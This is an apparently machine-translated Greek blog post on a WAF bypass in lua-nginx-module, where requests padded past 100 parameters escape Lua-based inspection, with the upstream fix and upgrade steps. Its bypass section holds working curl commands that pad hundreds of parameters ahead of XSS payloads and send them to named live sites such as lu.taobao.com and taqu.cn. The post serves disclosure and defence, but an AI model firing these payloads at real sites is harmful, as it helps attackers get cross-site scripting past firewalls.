|
|
Δημοσιεύτηκε στις 27/4/2018 9:23:29 π.μ.
|
|
|
|

Όταν το ginx Lua λαμβάνει παραμέτρους, οι πρώτες 100 τιμές παραμέτρων λαμβάνονται από προεπιλογή και οι υπόλοιπες απορρίπτονται. Επομένως, τα WAF που χρησιμοποιούν Nginx Lua θα παρακάμπτονται από προεπιλογή. Στις 20 Απριλίου 18, κάποιος από τον επιβάτη ασφαλείας είχε ήδη αποκαλύψει αυτή τη λεπτομέρεια, οπότε δημοσίευσα και αυτό το άρθρο 233.
Αρχή
Η επίσημη περιγραφή έχει ως εξής
Σημειώστε ότι το πολύ 100 ορίσματα αιτήματος αναλύονται από προεπιλογή (συμπεριλαμβανομένων εκείνων με το ίδιο όνομα) και ότι τα πρόσθετα ορίσματα αιτήματος απορρίπτονται σιωπηλά για προστασία από πιθανές επιθέσεις άρνησης υπηρεσίας. Έως και 100 παράμετροι αιτήματος (συμπεριλαμβανομένων εκείνων με το ίδιο όνομα) μπορούν να αναλυθούν από προεπιλογή και οι πρόσθετες παράμετροι αιτήματος απορρίπτονται αυτόματα για την αποτροπή πιθανών επιθέσεων άρνησης υπηρεσίας.
Αναζήτηση 100, περίπου η ακόλουθη μέθοδος έχει το ίδιο πρόβλημα. ngx.req.get_uri_args Λάβετε τις παραμέτρους αιτήματος για λήψη ngx.req.get_post_args Λάβετε τις παραμέτρους αιτήματος για την ανάρτηση ngx.req.get_headers Λήψη της κεφαλίδας αιτήματος ngx.decode_args Αποκωδικοποιήστε τη διεύθυνση URL των παραμέτρων ngx.resp.get_headers Λάβετε την κεφαλίδα απάντησης Στον πηγαίο κώδικα lua-nginx-module, μπορούμε να δούμε ότι ο πηγαίος κώδικας ορίζει την προεπιλεγμένη μέγιστη παράμετρο αιτήματος και την κεφαλίδα σε 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Ωστόσο, ο υπάλληλος παρέχει μια μέθοδο τροποποίησης της προεπιλεγμένης τιμής, όπως ngx.req.get_uri_args (200) για να λάβετε τις πρώτες 200 παραμέτρους αιτήματος.
Δοκιμή
Εάν η παράμετρος αιτήματος είναι 101, δεν είναι δυνατή η λήψη της τελευταίας παραμέτρου αιτήματος.
μπούκλα -v «http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg»
Εάν μειώσετε μία παράμετρο αιτήματος, μπορείτε να λάβετε την παράμετρο τελευταίου αιτήματος όταν οι παράμετροι αιτήματος είναι ακριβώς 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 Α: ZBG Έχω u, zbg
Λάβετε υπόψη ότι η προεπιλογή είναι πράγματι 100 παράμετροι αιτήματος και οι παράμετροι αιτήματος μετά από 100 παραμέτρους αιτήματος θα απορριφθούν.
Υπάρχει ένα περίεργο πράγμα ότι στο περιεχόμενο επιστροφής παραπάνω, στη μέση της πρόχειρης θέσης, η τελική παράμετρος zbg είναι ήδη έξοδος. Η εικασία μου είναι ότι η έξοδος δεν είναι σε σειρά, αλλά η σειρά με την οποία γίνεται η ανάλυση ακολουθεί τη σειρά με την οποία υποβάλλονται οι παράμετροι, επειδή όταν η τιμή της 101ης παραμέτρου είναι zbg, η τιμή δεν μπορεί να ληφθεί.
Επισυνάπτεται το σενάριο python που δημιουργεί τις παραμέτρους:
# Συγγραφέας: ZBG # ταχυδρομείο:zbg@zbg.org # ημερομηνία: 2018-04-03
α = '' για i στο εύρος(200): a = a + 'a{0}={1}&'.format(i+1, i+1) Εκτυπώστε ένα επισκευάζω Φυσικά, δεν συνιστάται η τροποποίηση της τιμής MAX της παραμέτρου στον πηγαίο κώδικα. Γιατί όσο μεγάλη και αν είναι η τιμή που ορίζετε, μπορεί να παρακαμφθεί. Συνιστάται να το ρυθμίσετε μέσω των παραμέτρων της μεθόδου. Αν μπορείτε να πάρετε το μήκος της παραμέτρου αιτήματος και να χρησιμοποιήσετε μια μέθοδο όπως ngx.req.get_uri_args (μήκος), δεν θα ήταν αρκετό; Διαβάζοντας την τεκμηρίωση, διαπίστωσα ότι δεν ήταν δυνατή η λήψη του αριθμού των ζητούμενων παραμέτρων. Ωστόσο, εάν ορίσετε το μήκος στο 0, μπορείτε να λάβετε όλες τις ζητούμενες παραμέτρους.
Αυτό το όρισμα μπορεί να μηδενιστεί για να καταργήσετε το όριο και να επεξεργαστείτε όλα τα ορίσματα αιτήματος που ελήφθησαν. τοπικά args = ngx.req.get_uri_args(0)
Ωστόσο, αποθαρρύνεται έντονα να το ορίσετε στο 0 για να αποτρέψετε πιθανές επιθέσεις άρνησης υπηρεσίας.
Η αφαίρεση του max_args καπακιού αποθαρρύνεται έντονα.
Στην πραγματικότητα, αναρωτιόμουν γιατί η ρύθμιση 0 θα οδηγούσε σε πιθανή επίθεση άρνησης υπηρεσίας και το αίτημα θα πήγαινε στο nginx ούτως ή άλλως, ανεξάρτητα από το πόσες παράμετροι υπήρχαν στο get ή στο post.
Έθεσα ένα ζήτημα στον υπάλληλο και ο συγγραφέας είπε ότι ngx.req.get_uri_args (0) θα αυξήσει τη χρήση της CPU και της μνήμης του διακομιστή. Αργότερα, δοκίμασα 200 παραμέτρους και χρησιμοποίησα το Nginx+php για να αποκτήσω την 200η παράμετρο, πράγμα που σημαίνει ότι το Nginx δεν περιορίζει τον αριθμό των ζητούμενων παραμέτρων από προεπιλογή. Τότε το πρόβλημα μπορεί να βρίσκεται στο ίδιο το Nginx Lua,Όταν το Nginx Lua χρησιμοποιεί το ngx.req.get_uri_args(0) για να λάβει όλες τις παραμέτρους και να τις επαναλάβει, όταν ζητηθούν πολλές παράμετροι, καταναλώνει περισσότερη CPU και μνήμη και τελικά οδηγεί ακόμη και σε άρνηση υπηρεσίας。
Στις 04/03/2018, το Bypass007 έθεσε επίσημα ένα ΖΗΤΗΜΑ σχετικά με αυτήν τη διόρθωση σφαλμάτων και τελικά πρόσθεσε επίσημα μια νέα δυνατότητα με βάση αυτό το ΖΗΤΗΜΑ στις 21-04-2018. Η διεύθυνση εγγραφής υποβολής αυτής της συνάρτησης: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Η περιγραφή της συνάρτησης έχει ως εξής: Σε εκδόσεις μετά την έκδοση 0.10.13 (συμπεριλαμβανομένης της έκδοσης 0.10.13), όταν παραβιάζεται ο οριακός αριθμός αιτημάτων, η δεύτερη τιμή επιστροφής είναι η περικομμένη συμβολοσειρά. Από την έκδοση 0.10.13, όταν ξεπεραστεί το όριο, θα επιστρέψει μια δεύτερη τιμή που είναι η συμβολοσειρά "περικομμένη". Ωστόσο, το όρισμα της προαιρετικής συνάρτησης max_args μπορεί να χρησιμοποιηθεί για την παράκαμψη αυτού του ορίου: τοπικά args, err = ngx.req.get_uri_args(10) αν err == "περικομμένο" τότε -- κάποιος μπορεί να επιλέξει να αγνοήσει ή να απορρίψει το τρέχον αίτημα εδώ Τέλος
Έτσι, βγήκε η τελική λύση.
Αναβαθμίστε το lua-nginx-module σε έκδοση 0.10.13 ή νεότερη έκδοση
Στη συνέχεια, περιορίστε τον συνολικό αριθμό των παραμέτρων, καθώς για το πόσο περιορίζεται ο συνολικός αριθμός, προσωπικά πιστεύω ότι αρκούν 100
Το OpenResty αναβαθμίζει τη μονάδα lua-nginx-module
Δεν βρήκα καμία πληροφορία σχετικά με τη μονάδα αναβάθμισης OpenResty, οπότε κατάλαβα πώς να αναβαθμίσω τη μονάδα lua-nginx-module μόνος μου.
Τα βήματα είναι τα εξής:
Κατεβάστε την αντίστοιχη έκδοση της μονάδας lua-nginx-module wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 ξεπακετάρω tar -zxvf v0.10.13 Διαγράψτε την προηγούμενη έκδοση lua-nginx-module rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Αντιγράψτε τη νέα μονάδα lua-nginx MV lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Για μεταγλώττιση, ανατρέξτε στις παραμέτρους μεταγλώττισης του VeryNginx
Παράκαμψη υπόθεσης
Θα πρέπει να διευκρινιστεί ότι τα ακόλουθα WAF Δεν είμαι σίγουρος αν θα χρησιμοποιήσω το Nginx Lua, αλλά μπορούν να παρακαμφθούν από τον συνολικό αριθμό των παραμέτρων.
Αλί WAF
Αυτό το WAF είναι ένα WAF που χρησιμοποιείται εσωτερικά από την Alibaba, δηλαδή το WAF που χρησιμοποιείται από ονόματα τομέα όπως *.taobao.com, και δεν έχει δοκιμαστεί για το cloud WAF που πωλείται από το Alibaba Cloud. Πρώτα, ζητήστε ένα ωφέλιμο φορτίο POST XSS για να το υποκλέψετε. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Μέσω του Fuzz, διαπιστώθηκε ότι όταν ο αριθμός των παραμέτρων αυξάνεται σε 478, με ωφέλιμο φορτίο XSS, δεν παρεμποδίζεται πλέον και η πρόσβαση στον ιστότοπο είναι κανονικά. μπούκλα -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Το WAF που δοκιμάστηκε είναι ένα WAF που πωλείται από την UCloud. Όταν η παράμετρος αιτήματος αυξηθεί σε 138, δεν θα αποκλείεται πλέον και η πρόσβαση στον ιστότοπο θα γίνεται κανονικά. μπούκλα -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Αυτό το WAF είναι ένα WAF που χρησιμοποιείται από την Tencent εσωτερικά, δηλαδή το WAF που χρησιμοποιείται από ονόματα τομέα όπως *.qq.com, και δεν έχει δοκιμαστεί για το cloud WAF που πωλείται από την Tencent Cloud. Όταν η παράμετρος αιτήματος αυξηθεί σε 4000, δεν θα αποκλείεται πλέον και η πρόσβαση στον ιστότοπο θα γίνεται κανονικά. Επηρεάζονται οι τυχαίες δοκιμές των ακόλουθων τομέων. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
περίληψη
Αυτή η ερώτηση είναι πολύ απλή και μπορείτε να τη βρείτε διαβάζοντας προσεκτικά το έγγραφο. Γιατί όμως δεν το έμαθα; Νομίζω ότι είναι ακόμα πολύ λίγη σκέψη. Υπόδειξη
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Προηγούμενος:Μάθετε Photoshop από την αρχή, 18 μαθήματα από τον αρχάριο στον θεόΕπόμενος:Δυνατά και αδύνατα σημεία των Lua και Luajit
|